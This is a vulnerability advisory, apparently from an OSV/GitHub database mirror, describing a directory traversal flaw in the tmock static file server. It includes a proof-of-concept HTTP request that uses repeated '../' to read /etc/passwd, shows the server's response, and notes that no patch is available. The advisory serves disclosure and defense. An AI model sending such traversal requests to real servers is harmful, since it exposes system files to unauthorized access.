Lucene search

K
osvGoogleOSV:GHSA-J6W4-PG6P-5MRV
HistoryJul 23, 2018 - 11:51 p.m.

Directory Traversal in tmock

2018-07-2323:51:04
Google
osv.dev
9

EPSS

0.007

Percentile

79.5%

tmock is a static file server.

tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing “…/” in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

EPSS

0.007

Percentile

79.5%

Related for OSV:GHSA-J6W4-PG6P-5MRV